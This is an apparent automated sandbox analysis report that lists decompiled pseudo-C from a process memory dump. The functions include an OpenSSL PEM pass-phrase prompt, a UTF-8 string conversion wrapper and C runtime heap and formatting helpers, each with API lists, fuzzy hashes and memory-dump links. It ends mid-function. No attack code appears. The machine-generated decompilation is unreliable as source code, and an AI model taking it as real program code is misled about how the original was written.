                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __wcstoui64$_getenv_swscanf_vscan_fnstrtoxl
                                                                • String ID: %I64i$OPENSSL_ia32cap
                                                                • API String ID: 1958019595-1470193844
                                                                • Opcode ID: 25e0ddcd72b7ae4b96e8f4c7cbcfb8a7bb8092045259eac42e62224c4e059edd
                                                                • Instruction ID: 6f01170a3bc3193e10a423658ac0ae6e9ee8dde4e3fb723c39fbe07e27ad8a06
                                                                • Opcode Fuzzy Hash: 25e0ddcd72b7ae4b96e8f4c7cbcfb8a7bb8092045259eac42e62224c4e059edd
                                                                • Instruction Fuzzy Hash: BE31F7F69583416BE710BF34AC46F6B3AD4AB84304F05582CE94996361F7748984CBB2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 93%
                                                                			E00ACA830(void* __ebx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16) {
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				char* _t12;
                                                                				signed int _t16;
                                                                				intOrPtr* _t17;
                                                                				void* _t18;
                                                                				char* _t21;
                                                                				intOrPtr* _t22;
                                                                				intOrPtr _t24;
                                                                				void* _t28;
                                                                				char* _t32;
                                                                				intOrPtr _t33;
                                                                				void* _t34;
                                                                				void* _t35;
                                                                				void* _t37;
                                                                				intOrPtr* _t38;
                                                                				intOrPtr* _t39;
                                                                				signed int _t42;
                                                                				intOrPtr _t43;
                                                                				char* _t45;
                                                                				void* _t47;
                                                                				void* _t48;
                                                                
                                                                				_t28 = __ebx;
                                                                				_t38 = _a16;
                                                                				if(_t38 == 0) {
                                                                					_t45 = E00ADFFC0();
                                                                					__eflags = _t45;
                                                                					if(_t45 == 0) {
                                                                						_t45 = "Enter PEM pass phrase:";
                                                                					}
                                                                					_t39 = _a4;
                                                                					_t29 = _a12;
                                                                					asm("sbb esi, esi");
                                                                					_t42 =  ~_a12 & 0x00000004;
                                                                					_t12 = E00ADFFE0(_a12, _t34, _t45, _t39, _t42, _a8, _t45, _t29, _t28);
                                                                					_t48 = _t47 + 0x14;
                                                                					__eflags = _t12;
                                                                					if(_t12 != 0) {
                                                                						L14:
                                                                						E00AB8310(_t39, 9, 0x64, 0x6d, "crypto\\pem\\pem_lib.c", 0x40);
                                                                						_t16 = E00B8BB40(_t39, _t39, 0, _a8) | 0xffffffff;
                                                                						__eflags = _t16;
                                                                					} else {
                                                                						do {
                                                                							_t17 = _t39;
                                                                							_t35 = _t17 + 1;
                                                                							do {
                                                                								_t32 =  *_t17;
                                                                								_t17 = _t17 + 1;
                                                                								__eflags = _t32;
                                                                							} while (_t32 != 0);
                                                                							_t16 = _t17 - _t35;
                                                                							__eflags = _t42;
                                                                							if(_t42 != 0) {
                                                                								__eflags = _t16 - _t42;
                                                                								if(__eflags < 0) {
                                                                									goto L13;
                                                                								}
                                                                							}
                                                                							goto L15;
                                                                							L13:
                                                                							_push(_t42);
                                                                							_push("phrase is too short, needs to be at least %d chars\n");
                                                                							_t18 = E00B8A3E6();
                                                                							E00B8D963(_t29, _t35, _t39, _t42, __eflags);
                                                                							_t21 = E00ADFFE0(_t29, _a8, _t45, _t39, _t42, _a8, _t45, _t29, _t18 + 0x40);
                                                                							_t48 = _t48 + 0x20;
                                                                							__eflags = _t21;
                                                                						} while (_t21 == 0);
                                                                						goto L14;
                                                                					}
                                                                					L15:
                                                                					return _t16;
                                                                				} else {
                                                                					_t22 = _t38;
                                                                					_t2 = _t22 + 1; // 0xacc205
                                                                					_t37 = _t2;
                                                                					do {
                                                                						_t33 =  *_t22;
                                                                						_t22 = _t22 + 1;
                                                                					} while (_t33 != 0);
                                                                					_t43 = _t22 - _t37;
                                                                					_t24 = _a8;
                                                                					if(_t43 > _t24) {
                                                                						_t43 = _t24;
                                                                					}
                                                                					E00B8B7A0(_t28, _t38, _t43, _a4, _t38, _t43);
                                                                					return _t43;
                                                                				}
                                                                			}


























                                                                0x00aca830
                                                                0x00aca832
                                                                0x00aca838
                                                                0x00aca86f
                                                                0x00aca871
                                                                0x00aca873
                                                                0x00aca875
                                                                0x00aca875
                                                                0x00aca87e
                                                                0x00aca883
                                                                0x00aca88d
                                                                0x00aca890
                                                                0x00aca895
                                                                0x00aca89a
                                                                0x00aca89d
                                                                0x00aca89f
                                                                0x00aca8e0
                                                                0x00aca8ed
                                                                0x00aca902
                                                                0x00aca902
                                                                0x00aca8a1
                                                                0x00aca8a1
                                                                0x00aca8a1
                                                                0x00aca8a3
                                                                0x00aca8a6
                                                                0x00aca8a6
                                                                0x00aca8a8
                                                                0x00aca8a9
                                                                0x00aca8a9
                                                                0x00aca8ad
                                                                0x00aca8af
                                                                0x00aca8b1
                                                                0x00aca8b3
                                                                0x00aca8b5
                                                                0x00000000
                                                                0x00000000
                                                                0x00aca8b5
                                                                0x00000000
                                                                0x00aca8b7
                                                                0x00aca8b7
                                                                0x00aca8b8
                                                                0x00aca8bd
                                                                0x00aca8c6
                                                                0x00aca8d4
                                                                0x00aca8d9
                                                                0x00aca8dc
                                                                0x00aca8dc
                                                                0x00000000
                                                                0x00aca8a1
                                                                0x00aca905
                                                                0x00aca909
                                                                0x00aca83a
                                                                0x00aca83a
                                                                0x00aca83c
                                                                0x00aca83c
                                                                0x00aca840
                                                                0x00aca840
                                                                0x00aca842
                                                                0x00aca843
                                                                0x00aca849
                                                                0x00aca84b
                                                                0x00aca851
                                                                0x00aca853
                                                                0x00aca853
                                                                0x00aca85c
                                                                0x00aca868
                                                                0x00aca868

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _fprintf_memset
                                                                • String ID: Enter PEM pass phrase:$crypto\pem\pem_lib.c$phrase is too short, needs to be at least %d chars
                                                                • API String ID: 3021507156-1387369059
                                                                • Opcode ID: 469c80e6e9a9bfd447dce487c1e63527885ad0e83d12f57fb7ed19af14a64f49
                                                                • Instruction ID: 56bf0506ecb52c2101cddc28e6a511d9f57db2f1e990280a866f45bcb955dfee
                                                                • Opcode Fuzzy Hash: 469c80e6e9a9bfd447dce487c1e63527885ad0e83d12f57fb7ed19af14a64f49
                                                                • Instruction Fuzzy Hash: E4216D72A043152FD220A66D9C45F7B77DCCF96BA8F0A4658F858E7252E611DC0183E2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 90%
                                                                			E00ADB600(char* _a4, char* _a8) {
                                                                				signed int _v8;
                                                                				short _v24;
                                                                				char* _v28;
                                                                				char* _v32;
                                                                				int _v36;
                                                                				short* _v40;
                                                                				void* _v52;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t32;
                                                                				char* _t35;
                                                                				short* _t40;
                                                                				signed int _t41;
                                                                				char* _t44;
                                                                				signed int _t47;
                                                                				signed int _t49;
                                                                				void* _t53;
                                                                				intOrPtr* _t55;
                                                                				void* _t62;
                                                                				char* _t64;
                                                                				signed int _t68;
                                                                				char* _t78;
                                                                				char* _t81;
                                                                				char* _t82;
                                                                				signed int _t83;
                                                                				short* _t84;
                                                                
                                                                				E00B8BB10(0x24);
                                                                				_t32 =  *0xbe5970; // 0xe6e1d076
                                                                				_v8 = _t32 ^ _t83;
                                                                				_t64 = _a4;
                                                                				_v32 = _a8;
                                                                				_t35 = _t64;
                                                                				_v28 = _t64;
                                                                				_t81 =  &(_t35[1]);
                                                                				do {
                                                                					_t77 =  *_t35;
                                                                					_t35 =  &(_t35[1]);
                                                                				} while (_t77 != 0);
                                                                				_t62 = MultiByteToWideChar;
                                                                				_t80 = _t35 - _t81 + 1;
                                                                				_v36 = 8;
                                                                				_t82 = MultiByteToWideChar(0xfde9, 8, _t64, _t80, 0, 0);
                                                                				if(_t82 > 0) {
                                                                					L7:
                                                                					E00B8C610( &(_t82[_t82]));
                                                                					_t40 = _t84;
                                                                					_t80 = _v28;
                                                                					_v40 = _t40;
                                                                					_t41 = MultiByteToWideChar(0xfde9, _v36, _v28, _v28, _t40, _t82);
                                                                					__eflags = _t41;
                                                                					if(_t41 == 0) {
                                                                						goto L16;
                                                                					} else {
                                                                						_t82 = _v32;
                                                                						_t44 = _t82;
                                                                						_t78 =  &(_t44[1]);
                                                                						do {
                                                                							_t68 =  *_t44;
                                                                							_t44 =  &(_t44[1]);
                                                                							__eflags = _t68;
                                                                						} while (_t68 != 0);
                                                                						_t77 =  &_v24;
                                                                						_t47 = MultiByteToWideChar(0xfde9, 0, _t82, _t44 - _t78 + 1,  &_v24, 8);
                                                                						__eflags = _t47;
                                                                						if(_t47 == 0) {
                                                                							goto L16;
                                                                						} else {
                                                                							_t49 = E00B8E1EE(_v40,  &_v24);
                                                                							_t63 = _t49;
                                                                							__eflags = _t49;
                                                                							if(__eflags != 0) {
                                                                								L15:
                                                                								__eflags = _v8 ^ _t83;
                                                                								return E00B89C26(_t63, _t63, _v8 ^ _t83, _t77, _t80, _t82);
                                                                							} else {
                                                                								__eflags =  *((intOrPtr*)(E00B8D8C9(__eflags))) - 2;
                                                                								if(__eflags == 0) {
                                                                									L14:
                                                                									_t53 = L00B8A96D(_t80, _t82);
                                                                									__eflags = _v8 ^ _t83;
                                                                									return E00B89C26(_t53, _t63, _v8 ^ _t83, _t77, _t80, _t82);
                                                                								} else {
                                                                									_t55 = E00B8D8C9(__eflags);
                                                                									__eflags =  *_t55 - 9;
                                                                									if( *_t55 != 9) {
                                                                										goto L15;
                                                                									} else {
                                                                										goto L14;
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					if(GetLastError() != 0x3ec) {
                                                                						L5:
                                                                						if(GetLastError() != 0x459) {
                                                                							L16:
                                                                							__eflags = _v8 ^ _t83;
                                                                							return E00B89C26(0, _t62, _v8 ^ _t83, _t77, _t80, _t82);
                                                                						} else {
                                                                							return E00B89C26(L00B8A96D(_v28, _v32), _t62, _v8 ^ _t83, _v32, _t80, _t82);
                                                                						}
                                                                					} else {
                                                                						_v36 = 0;
                                                                						_t82 = MultiByteToWideChar(0xfde9, 0, _v28, _t80, 0, 0);
                                                                						if(_t82 > 0) {
                                                                							goto L7;
                                                                						} else {
                                                                							goto L5;
                                                                						}
                                                                					}
                                                                				}
                                                                			}






























                                                                0x00adb608
                                                                0x00adb60d
                                                                0x00adb614
                                                                0x00adb61a
                                                                0x00adb61f
                                                                0x00adb622
                                                                0x00adb625
                                                                0x00adb628
                                                                0x00adb630
                                                                0x00adb630
                                                                0x00adb632
                                                                0x00adb633
                                                                0x00adb637
                                                                0x00adb643
                                                                0x00adb64f
                                                                0x00adb658
                                                                0x00adb65c
                                                                0x00adb6bf
                                                                0x00adb6c2
                                                                0x00adb6ca
                                                                0x00adb6cf
                                                                0x00adb6d9
                                                                0x00adb6dc
                                                                0x00adb6de
                                                                0x00adb6e0
                                                                0x00000000
                                                                0x00adb6e6
                                                                0x00adb6e6
                                                                0x00adb6e9
                                                                0x00adb6eb
                                                                0x00adb6f0
                                                                0x00adb6f0
                                                                0x00adb6f2
                                                                0x00adb6f3
                                                                0x00adb6f3
                                                                0x00adb6fb
                                                                0x00adb709
                                                                0x00adb70b
                                                                0x00adb70d
                                                                0x00000000
                                                                0x00adb70f
                                                                0x00adb717
                                                                0x00adb71c
                                                                0x00adb721
                                                                0x00adb723
                                                                0x00adb757
                                                                0x00adb762
                                                                0x00adb76c
                                                                0x00adb725
                                                                0x00adb72a
                                                                0x00adb72d
                                                                0x00adb739
                                                                0x00adb73b
                                                                0x00adb74c
                                                                0x00adb756
                                                                0x00adb72f
                                                                0x00adb72f
                                                                0x00adb734
                                                                0x00adb737
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00adb737
                                                                0x00adb72d
                                                                0x00adb723
                                                                0x00adb70d
                                                                0x00adb65e
                                                                0x00adb669
                                                                0x00adb68a
                                                                0x00adb695
                                                                0x00adb76d
                                                                0x00adb778
                                                                0x00adb782
                                                                0x00adb69b
                                                                0x00adb6be
                                                                0x00adb6be
                                                                0x00adb66b
                                                                0x00adb67b
                                                                0x00adb684
                                                                0x00adb688
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00adb688
                                                                0x00adb669

                                                                APIs
                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000), ref: 00ADB656
                                                                • GetLastError.KERNEL32 ref: 00ADB65E
                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00ADB682
                                                                • GetLastError.KERNEL32 ref: 00ADB68A
                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000), ref: 00ADB6DC
                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000), ref: 00ADB709
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ByteCharMultiWide$ErrorLast
                                                                • String ID:
                                                                • API String ID: 1717984340-0
                                                                • Opcode ID: a0da90a3b9a1919f7f3d8430b3878d9d5007b7ef48940d9c592655639d2a3bf3
                                                                • Instruction ID: 42e8c24c9b926a14698061316f5a0aa7fe781184a8e692a937f34b8c55117e2c
                                                                • Opcode Fuzzy Hash: a0da90a3b9a1919f7f3d8430b3878d9d5007b7ef48940d9c592655639d2a3bf3
                                                                • Instruction Fuzzy Hash: D341A371A10209DBDB10AFA9DC56BFEB7B8EF85711F05006BF906AB291DB319D04C7A1
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 89%
                                                                			E00B9365F(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				signed int _t15;
                                                                				LONG* _t21;
                                                                				long _t23;
                                                                				void* _t29;
                                                                				void* _t31;
                                                                				LONG* _t33;
                                                                				void* _t34;
                                                                				void* _t35;
                                                                
                                                                				_t35 = __eflags;
                                                                				_t29 = __edx;
                                                                				_t25 = __ebx;
                                                                				_push(0xc);
                                                                				_push(0xbdfda8);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				_t31 = E00B94108(__ebx, _t35);
                                                                				_t15 =  *0xbe634c; // 0xfffffffe
                                                                				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
                                                                					E00B8FD40(_t25, _t31, 0xd);
                                                                					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
                                                                					_t33 =  *(_t31 + 0x68);
                                                                					 *(_t34 - 0x1c) = _t33;
                                                                					__eflags = _t33 -  *0xbe6250; // 0x971600
                                                                					if(__eflags != 0) {
                                                                						__eflags = _t33;
                                                                						if(_t33 != 0) {
                                                                							_t23 = InterlockedDecrement(_t33);
                                                                							__eflags = _t23;
                                                                							if(_t23 == 0) {
                                                                								__eflags = _t33 - 0xbe5e28;
                                                                								if(__eflags != 0) {
                                                                									_push(_t33);
                                                                									E00B89CB2(_t25, _t29, _t31, _t33, __eflags);
                                                                								}
                                                                							}
                                                                						}
                                                                						_t21 =  *0xbe6250; // 0x971600
                                                                						 *(_t31 + 0x68) = _t21;
                                                                						_t33 =  *0xbe6250; // 0x971600
                                                                						 *(_t34 - 0x1c) = _t33;
                                                                						InterlockedIncrement(_t33);
                                                                					}
                                                                					 *(_t34 - 4) = 0xfffffffe;
                                                                					E00B936FA();
                                                                				} else {
                                                                					_t33 =  *(_t31 + 0x68);
                                                                				}
                                                                				if(_t33 == 0) {
                                                                					E00B8B253(_t29, 0x20);
                                                                				}
                                                                				return E00B9087D(_t33);
                                                                			}











                                                                0x00b9365f
                                                                0x00b9365f
                                                                0x00b9365f
                                                                0x00b9365f
                                                                0x00b93661
                                                                0x00b93666
                                                                0x00b93670
                                                                0x00b93672
                                                                0x00b9367a
                                                                0x00b9369b
                                                                0x00b936a1
                                                                0x00b936a5
                                                                0x00b936a8
                                                                0x00b936ab
                                                                0x00b936b1
                                                                0x00b936b3
                                                                0x00b936b5
                                                                0x00b936b8
                                                                0x00b936be
                                                                0x00b936c0
                                                                0x00b936c2
                                                                0x00b936c8
                                                                0x00b936ca
                                                                0x00b936cb
                                                                0x00b936d0
                                                                0x00b936c8
                                                                0x00b936c0
                                                                0x00b936d1
                                                                0x00b936d6
                                                                0x00b936d9
                                                                0x00b936df
                                                                0x00b936e3
                                                                0x00b936e3
                                                                0x00b936e9
                                                                0x00b936f0
                                                                0x00b93682
                                                                0x00b93682
                                                                0x00b93682
                                                                0x00b93687
                                                                0x00b9368b
                                                                0x00b93690
                                                                0x00b93698

                                                                APIs
                                                                • __getptd.LIBCMT ref: 00B9366B
                                                                  • Part of subcall function 00B94108: __getptd_noexit.LIBCMT ref: 00B9410B
                                                                  • Part of subcall function 00B94108: __amsg_exit.LIBCMT ref: 00B94118
                                                                • __amsg_exit.LIBCMT ref: 00B9368B
                                                                • __lock.LIBCMT ref: 00B9369B
                                                                • InterlockedDecrement.KERNEL32(?), ref: 00B936B8
                                                                • InterlockedIncrement.KERNEL32(00971600), ref: 00B936E3
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                • String ID:
                                                                • API String ID: 4271482742-0
                                                                • Opcode ID: b6bb304d5690b4a45933ae005014700ba4f4dde37a2a2fc643cec4dfe8693d83
                                                                • Instruction ID: 5d73962f34fb4646ae89af8ace93276cf7eedeb539d2e159fe20db9c737c1248
                                                                • Opcode Fuzzy Hash: b6bb304d5690b4a45933ae005014700ba4f4dde37a2a2fc643cec4dfe8693d83
                                                                • Instruction Fuzzy Hash: F9019232A08711EBCF21BB69988A75DB7E0FF45B50F1401A9F814AB391CB34AA51CFD5
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 43%
                                                                			E00B89CB2(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				intOrPtr* _t10;
                                                                				intOrPtr _t13;
                                                                				intOrPtr _t24;
                                                                				void* _t26;
                                                                
                                                                				_push(0xc);
                                                                				_push(0xbdf980);
                                                                				_t8 = E00B90838(__ebx, __edi, __esi);
                                                                				_t24 =  *((intOrPtr*)(_t26 + 8));
                                                                				if(_t24 == 0) {
                                                                					L9:
                                                                					return E00B9087D(_t8);
                                                                				}
                                                                				if( *0xdec81c != 3) {
                                                                					_push(_t24);
                                                                					L7:
                                                                					_t8 = HeapFree( *0xbe97a0, 0, ??);
                                                                					_t32 = _t8;
                                                                					if(_t8 == 0) {
                                                                						_t10 = E00B8D8C9(_t32);
                                                                						 *_t10 = E00B8D887(GetLastError());
                                                                					}
                                                                					goto L9;
                                                                				}
                                                                				E00B8FD40(__ebx, __edi, 4);
                                                                				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
                                                                				_t13 = E00B8FD73(_t24);
                                                                				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
                                                                				if(_t13 != 0) {
                                                                					_push(_t24);
                                                                					_push(_t13);
                                                                					E00B8FDA3();
                                                                				}
                                                                				 *(_t26 - 4) = 0xfffffffe;
                                                                				_t8 = E00B89D08();
                                                                				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
                                                                					goto L9;
                                                                				} else {
                                                                					_push( *((intOrPtr*)(_t26 + 8)));
                                                                					goto L7;
                                                                				}
                                                                			}







                                                                0x00b89cb2
                                                                0x00b89cb4
                                                                0x00b89cb9
                                                                0x00b89cbe
                                                                0x00b89cc3
                                                                0x00b89d3a
                                                                0x00b89d3f
                                                                0x00b89d3f
                                                                0x00b89ccc
                                                                0x00b89d11
                                                                0x00b89d12
                                                                0x00b89d1a
                                                                0x00b89d20
                                                                0x00b89d22
                                                                0x00b89d24
                                                                0x00b89d37
                                                                0x00b89d39
                                                                0x00000000
                                                                0x00b89d22
                                                                0x00b89cd0
                                                                0x00b89cd6
                                                                0x00b89cdb
                                                                0x00b89ce1
                                                                0x00b89ce6
                                                                0x00b89ce8
                                                                0x00b89ce9
                                                                0x00b89cea
                                                                0x00b89cf0
                                                                0x00b89cf1
                                                                0x00b89cf8
                                                                0x00b89d01
                                                                0x00000000
                                                                0x00b89d03
                                                                0x00b89d03
                                                                0x00000000
                                                                0x00b89d03

                                                                APIs
                                                                • __lock.LIBCMT ref: 00B89CD0
                                                                  • Part of subcall function 00B8FD40: __mtinitlocknum.LIBCMT ref: 00B8FD56
                                                                  • Part of subcall function 00B8FD40: __amsg_exit.LIBCMT ref: 00B8FD62
                                                                  • Part of subcall function 00B8FD40: EnterCriticalSection.KERNEL32(?,?,?,00B90AAD,00000004,00BDFCC8,0000000C,00B89D5A,?,?,00000000,?,?,?,00AB1010,00000021), ref: 00B8FD6A
                                                                • ___sbh_find_block.LIBCMT ref: 00B89CDB
                                                                • ___sbh_free_block.LIBCMT ref: 00B89CEA
                                                                • HeapFree.KERNEL32(00000000,?,00BDF980,0000000C,00B940F9,00000000,?,00B916F3,?,00000001,?,?,00B8FCCA,00000018,00BDFCA8,0000000C), ref: 00B89D1A
                                                                • GetLastError.KERNEL32(?,00B916F3,?,00000001,?,?,00B8FCCA,00000018,00BDFCA8,0000000C,00B8FD5B,?,?,?,00B90AAD,00000004), ref: 00B89D2B
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                • String ID:
                                                                • API String ID: 2714421763-0
                                                                • Opcode ID: fea0efbee453f38569b7491f719b027fab12c3720230268ad5aaad355d930280
                                                                • Instruction ID: 4a918515c2ae813840231f8e1c37214b54684e32c5887fc8f66e6ad86effb0a2
                                                                • Opcode Fuzzy Hash: fea0efbee453f38569b7491f719b027fab12c3720230268ad5aaad355d930280
                                                                • Instruction Fuzzy Hash: 7A01A272A01302EADF247FB19C467AD77E0EF12325F1444F9F500AA0F1DA358941DB98
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 89%
                                                                			E00AC8040(intOrPtr __ecx, intOrPtr __edx) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t106;
                                                                				signed int _t110;
                                                                				signed int _t111;
                                                                				char* _t112;
                                                                				signed char _t114;
                                                                				void* _t120;
                                                                				void* _t123;
                                                                				void* _t125;
                                                                				signed int _t127;
                                                                				void* _t128;
                                                                				char* _t130;
                                                                				void* _t131;
                                                                				void* _t132;
                                                                				signed int _t134;
                                                                				intOrPtr _t137;
                                                                				signed int _t139;
                                                                				intOrPtr _t140;
                                                                				intOrPtr _t142;
                                                                				signed int _t149;
                                                                				char _t151;
                                                                				signed int _t155;
                                                                				char _t160;
                                                                				signed int _t163;
                                                                				signed char _t165;
                                                                				signed int _t166;
                                                                				char* _t169;
                                                                				signed int _t174;
                                                                				intOrPtr _t176;
                                                                				intOrPtr _t177;
                                                                				intOrPtr _t179;
                                                                				signed int _t187;
                                                                				char* _t188;
                                                                				signed int _t189;
                                                                				intOrPtr _t190;
                                                                				intOrPtr _t192;
                                                                				signed int _t198;
                                                                				signed int _t201;
                                                                				signed int _t204;
                                                                				void* _t209;
                                                                
                                                                				E00B8BB10(0x44);
                                                                				_t106 =  *0xbe5970; // 0xe6e1d076
                                                                				 *(_t204 + 0x40) = _t106 ^ _t204;
                                                                				_push(_t137);
                                                                				_t201 = 0;
                                                                				 *((intOrPtr*)(_t204 + 0x18)) =  *((intOrPtr*)(_t204 + 0x48));
                                                                				 *((intOrPtr*)(_t204 + 0x18)) = __ecx;
                                                                				 *((intOrPtr*)(_t204 + 0x14)) = __edx;
                                                                				 *(_t204 + 0x24) =  *(_t204 + 0x54);
                                                                				 *((intOrPtr*)(_t204 + 0x30)) = 0;
                                                                				 *(_t204 + 0x1c) = 0xba1291;
                                                                				 *(_t204 + 0x10) = 0;
                                                                				if( *(_t204 + 0x68) < 0) {
                                                                					 *((intOrPtr*)(_t204 + 0x70)) = 0;
                                                                				}
                                                                				_t165 =  *((intOrPtr*)(_t204 + 0x74));
                                                                				_t174 =  *(_t204 + 0x60);
                                                                				_t187 =  *(_t204 + 0x64);
                                                                				_t110 = _t174;
                                                                				_t149 = _t187;
                                                                				if((_t165 & 0x00000040) == 0) {
                                                                					_t209 = _t187 - _t201;
                                                                					if(_t209 > 0 || _t209 >= 0 && _t174 >= _t201) {
                                                                						if((_t165 & 0x00000002) == 0) {
                                                                							if((_t165 & 0x00000004) != 0) {
                                                                								 *((intOrPtr*)(_t204 + 0x30)) = 0x20;
                                                                							}
                                                                						} else {
                                                                							 *((intOrPtr*)(_t204 + 0x30)) = 0x2b;
                                                                						}
                                                                					} else {
                                                                						asm("adc esi, ebp");
                                                                						 *((intOrPtr*)(_t204 + 0x30)) = 0x2d;
                                                                						_t110 =  ~_t174;
                                                                						_t149 =  ~_t187;
                                                                					}
                                                                				}
                                                                				if((_t165 & 0x00000008) != 0) {
                                                                					_t198 =  *(_t204 + 0x68);
                                                                					if(_t198 != 8) {
                                                                						if(_t198 == 0x10) {
                                                                							 *(_t204 + 0x1c) = "0x";
                                                                						}
                                                                					} else {
                                                                						 *(_t204 + 0x1c) = "0";
                                                                					}
                                                                				}
